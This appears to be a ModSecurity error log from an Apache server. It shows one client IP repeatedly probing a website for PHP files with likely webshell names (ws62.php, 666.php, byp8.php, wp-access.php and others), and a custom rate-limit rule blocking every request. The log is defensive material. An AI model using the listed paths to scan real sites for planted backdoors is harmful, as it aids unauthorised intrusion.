[Sat Feb 28 10:48:06.558532 2026] [:error] [pid 52460:tid 52473] [client 158.158.96.194:5387] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws62.php"] [unique_id "aaJXZrLWOogAgHGh62ShwgAAAYo"]
[Sat Feb 28 10:48:07.822542 2026] [:error] [pid 52460:tid 52485] [client 158.158.96.194:5444] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws62.php"] [unique_id "aaJXZ7LWOogAgHGh62ShywAAAZY"]
[Sat Feb 28 10:48:08.481725 2026] [:error] [pid 39184:tid 39225] [client 158.158.96.194:64728] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws62.php"] [unique_id "aaJXaFtZF9Zd_U7easC7ZAAAAEY"]
[Sat Feb 28 10:48:09.124996 2026] [:error] [pid 52460:tid 52485] [client 158.158.96.194:54230] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws62.php"] [unique_id "aaJXabLWOogAgHGh62Sh1wAAAZY"]
[Sat Feb 28 10:48:10.087206 2026] [:error] [pid 39292:tid 39298] [client 158.158.96.194:5478] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaJXaqIAO5fN7BxyqcGeIgAAAMQ"]
[Sat Feb 28 10:48:11.091457 2026] [:error] [pid 39292:tid 39318] [client 158.158.96.194:53015] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaJXa6IAO5fN7BxyqcGeJAAAANg"]
[Sat Feb 28 10:48:12.282611 2026] [:error] [pid 52460:tid 52479] [client 158.158.96.194:57407] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaJXbLLWOogAgHGh62Sh4AAAAZA"]
[Sat Feb 28 10:48:13.130109 2026] [:error] [pid 52460:tid 52475] [client 158.158.96.194:64751] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaJXbbLWOogAgHGh62Sh5gAAAYw"]
[Sat Feb 28 10:48:13.962856 2026] [:error] [pid 39292:tid 39296] [client 158.158.96.194:57353] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aaJXbaIAO5fN7BxyqcGeLAAAAMI"]
[Sat Feb 28 10:48:14.658747 2026] [:error] [pid 52460:tid 52475] [client 158.158.96.194:64742] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aaJXbrLWOogAgHGh62Sh8wAAAYw"]
[Sat Feb 28 10:48:15.562090 2026] [:error] [pid 39185:tid 39269] [client 158.158.96.194:5463] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aaJXbxVE-FfM89u7BQZNnQAAAJc"]
[Sat Feb 28 10:48:16.405931 2026] [:error] [pid 52460:tid 52478] [client 158.158.96.194:34116] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aaJXcLLWOogAgHGh62Sh_QAAAY8"]
[Sat Feb 28 10:48:17.774044 2026] [:error] [pid 11791:tid 11796] [client 158.158.96.194:5450] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/co.php"] [unique_id "aaJXcWuX5e1Q32gqxH3N0gAAAQM"]
[Sat Feb 28 10:48:18.922980 2026] [:error] [pid 52460:tid 52473] [client 158.158.96.194:57603] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/co.php"] [unique_id "aaJXcrLWOogAgHGh62SiAwAAAYo"]
[Sat Feb 28 10:48:19.762173 2026] [:error] [pid 22194:tid 22218] [client 158.158.96.194:57400] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/co.php"] [unique_id "aaJXc36mbajs3bzQGysWHQAAAVY"]
[Sat Feb 28 10:48:20.921439 2026] [:error] [pid 39185:tid 39260] [client 158.158.96.194:5414] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/co.php"] [unique_id "aaJXdBVE-FfM89u7BQZNpwAAAI4"]
[Sat Feb 28 10:48:23.106819 2026] [:error] [pid 39185:tid 39261] [client 158.158.96.194:57642] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cxc.php"] [unique_id "aaJXdxVE-FfM89u7BQZNqQAAAI8"]
[Sat Feb 28 10:48:23.956809 2026] [:error] [pid 39185:tid 39258] [client 158.158.96.194:53209] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cxc.php"] [unique_id "aaJXdxVE-FfM89u7BQZNrwAAAIw"]
[Sat Feb 28 10:48:25.811197 2026] [:error] [pid 52460:tid 52463] [client 158.158.96.194:60525] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cxc.php"] [unique_id "aaJXebLWOogAgHGh62SiEQAAAYA"]
[Sat Feb 28 10:48:28.857282 2026] [:error] [pid 52460:tid 52466] [client 158.158.96.194:57392] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cxc.php"] [unique_id "aaJXfLLWOogAgHGh62SiHQAAAYM"]
[Sat Feb 28 10:48:29.744329 2026] [:error] [pid 52460:tid 52472] [client 158.158.96.194:60514] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gjm.php"] [unique_id "aaJXfbLWOogAgHGh62SiIgAAAYk"]
[Sat Feb 28 10:48:37.708148 2026] [:error] [pid 39184:tid 39238] [client 158.158.96.194:49545] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c4.php"] [unique_id "aaJXhVtZF9Zd_U7easC7dAAAAFM"]
[Sat Feb 28 10:48:38.654463 2026] [:error] [pid 39185:tid 39268] [client 158.158.96.194:14656] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c4.php"] [unique_id "aaJXhhVE-FfM89u7BQZN1wAAAJY"]
[Sat Feb 28 10:48:39.515966 2026] [:error] [pid 52460:tid 52468] [client 158.158.96.194:14692] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c4.php"] [unique_id "aaJXh7LWOogAgHGh62SiQAAAAYU"]
[Sat Feb 28 10:48:40.357464 2026] [:error] [pid 39184:tid 39237] [client 158.158.96.194:49561] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c4.php"] [unique_id "aaJXiFtZF9Zd_U7easC7dQAAAFI"]
[Sat Feb 28 10:48:41.303555 2026] [:error] [pid 39185:tid 39255] [client 158.158.96.194:53224] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eauu.php"] [unique_id "aaJXiRVE-FfM89u7BQZN6AAAAIk"]
[Sat Feb 28 10:48:41.972238 2026] [:error] [pid 39292:tid 39301] [client 158.158.96.194:53999] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eauu.php"] [unique_id "aaJXiaIAO5fN7BxyqcGeUAAAAMc"]
[Sat Feb 28 10:48:43.274466 2026] [:error] [pid 39185:tid 39270] [client 158.158.96.194:58859] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eauu.php"] [unique_id "aaJXixVE-FfM89u7BQZN7wAAAJg"]
[Sat Feb 28 10:48:43.915029 2026] [:error] [pid 52460:tid 52484] [client 158.158.96.194:53234] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eauu.php"] [unique_id "aaJXi7LWOogAgHGh62SiRgAAAZU"]
[Sat Feb 28 10:48:45.048592 2026] [:error] [pid 39292:tid 39302] [client 158.158.96.194:57606] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fasx.php"] [unique_id "aaJXjaIAO5fN7BxyqcGeVgAAAMg"]
[Sat Feb 28 10:48:45.866652 2026] [:error] [pid 39292:tid 39299] [client 158.158.96.194:53194] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fasx.php"] [unique_id "aaJXjaIAO5fN7BxyqcGeWwAAAMU"]
[Sat Feb 28 10:48:46.614277 2026] [:error] [pid 39183:tid 39215] [client 158.158.96.194:54235] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fasx.php"] [unique_id "aaJXjhCf4HvhVePw3LbPrAAAABc"]
[Sat Feb 28 10:48:47.771154 2026] [:error] [pid 39183:tid 39201] [client 158.158.96.194:49551] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fasx.php"] [unique_id "aaJXjxCf4HvhVePw3LbPsQAAAAk"]
[Sat Feb 28 10:48:48.492935 2026] [:error] [pid 39184:tid 39229] [client 158.158.96.194:57649] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "aaJXkFtZF9Zd_U7easC7eAAAAEo"]
[Sat Feb 28 10:48:49.753930 2026] [:error] [pid 39185:tid 39263] [client 158.158.96.194:10547] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "aaJXkRVE-FfM89u7BQZOCAAAAJE"]
[Sat Feb 28 10:48:50.384732 2026] [:error] [pid 39184:tid 39239] [client 158.158.96.194:50366] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "aaJXkltZF9Zd_U7easC7gQAAAFQ"]
[Sat Feb 28 10:48:51.124444 2026] [:error] [pid 39184:tid 39243] [client 158.158.96.194:42536] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "aaJXk1tZF9Zd_U7easC7gwAAAFg"]
[Sat Feb 28 10:48:52.698100 2026] [:error] [pid 11791:tid 11813] [client 158.158.96.194:57641] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nzv.php"] [unique_id "aaJXlGuX5e1Q32gqxH3OHQAAARQ"]
[Sat Feb 28 10:48:54.176677 2026] [:error] [pid 39185:tid 39250] [client 158.158.96.194:50043] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nzv.php"] [unique_id "aaJXlhVE-FfM89u7BQZOEQAAAIQ"]
[Sat Feb 28 10:48:55.888023 2026] [:error] [pid 39292:tid 39318] [client 158.158.96.194:18110] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nzv.php"] [unique_id "aaJXl6IAO5fN7BxyqcGecwAAANg"]
[Sat Feb 28 10:48:58.232210 2026] [:error] [pid 22194:tid 22218] [client 158.158.96.194:49150] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nzv.php"] [unique_id "aaJXmn6mbajs3bzQGysWPwAAAVY"]
[Sat Feb 28 10:49:00.303816 2026] [:error] [pid 39185:tid 39249] [client 158.158.96.194:42762] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aaJXnBVE-FfM89u7BQZOIQAAAIM"]
[Sat Feb 28 10:49:02.040728 2026] [:error] [pid 39185:tid 39251] [client 158.158.96.194:60942] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aaJXnhVE-FfM89u7BQZOKQAAAIU"]
[Sat Feb 28 10:49:02.720003 2026] [:error] [pid 52460:tid 52472] [client 158.158.96.194:42811] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aaJXnrLWOogAgHGh62SiagAAAYk"]
[Sat Feb 28 10:49:03.962362 2026] [:error] [pid 39184:tid 39227] [client 158.158.96.194:64608] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aaJXn1tZF9Zd_U7easC7kAAAAEg"]
[Sat Feb 28 10:49:04.890508 2026] [:error] [pid 22194:tid 22201] [client 158.158.96.194:46485] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp8.php"] [unique_id "aaJXoH6mbajs3bzQGysWRAAAAUU"]
[Sat Feb 28 10:49:06.203992 2026] [:error] [pid 52460:tid 52472] [client 158.158.96.194:60965] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp8.php"] [unique_id "aaJXorLWOogAgHGh62SiewAAAYk"]
[Sat Feb 28 10:49:07.053558 2026] [:error] [pid 52460:tid 52485] [client 158.158.96.194:64613] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp8.php"] [unique_id "aaJXo7LWOogAgHGh62SigQAAAZY"]
[Sat Feb 28 10:49:08.187662 2026] [:error] [pid 39185:tid 39265] [client 158.158.96.194:60972] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp8.php"] [unique_id "aaJXpBVE-FfM89u7BQZOOgAAAJM"]
[Sat Feb 28 10:49:08.816550 2026] [:error] [pid 11791:tid 11806] [client 158.158.96.194:18082] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nhr.php"] [unique_id "aaJXpGuX5e1Q32gqxH3OSAAAAQ0"]
[Sat Feb 28 10:49:09.341864 2026] [:error] [pid 39185:tid 39261] [client 158.158.96.194:60991] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nhr.php"] [unique_id "aaJXpRVE-FfM89u7BQZORQAAAI8"]
[Sat Feb 28 10:49:10.001617 2026] [:error] [pid 39185:tid 39263] [client 158.158.96.194:42514] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nhr.php"] [unique_id "aaJXphVE-FfM89u7BQZOTAAAAJE"]
[Sat Feb 28 10:49:10.817201 2026] [:error] [pid 39185:tid 39256] [client 158.158.96.194:56832] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nhr.php"] [unique_id "aaJXphVE-FfM89u7BQZOVgAAAIo"]
[Sat Feb 28 10:49:11.717344 2026] [:error] [pid 39185:tid 39266] [client 158.158.96.194:39119] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aaJXpxVE-FfM89u7BQZOXAAAAJQ"]
[Sat Feb 28 10:49:12.446684 2026] [:error] [pid 39185:tid 39260] [client 158.158.96.194:56867] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aaJXqBVE-FfM89u7BQZOYAAAAI4"]
[Sat Feb 28 10:49:13.143353 2026] [:error] [pid 39185:tid 39267] [client 158.158.96.194:64619] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aaJXqRVE-FfM89u7BQZOZQAAAJU"]
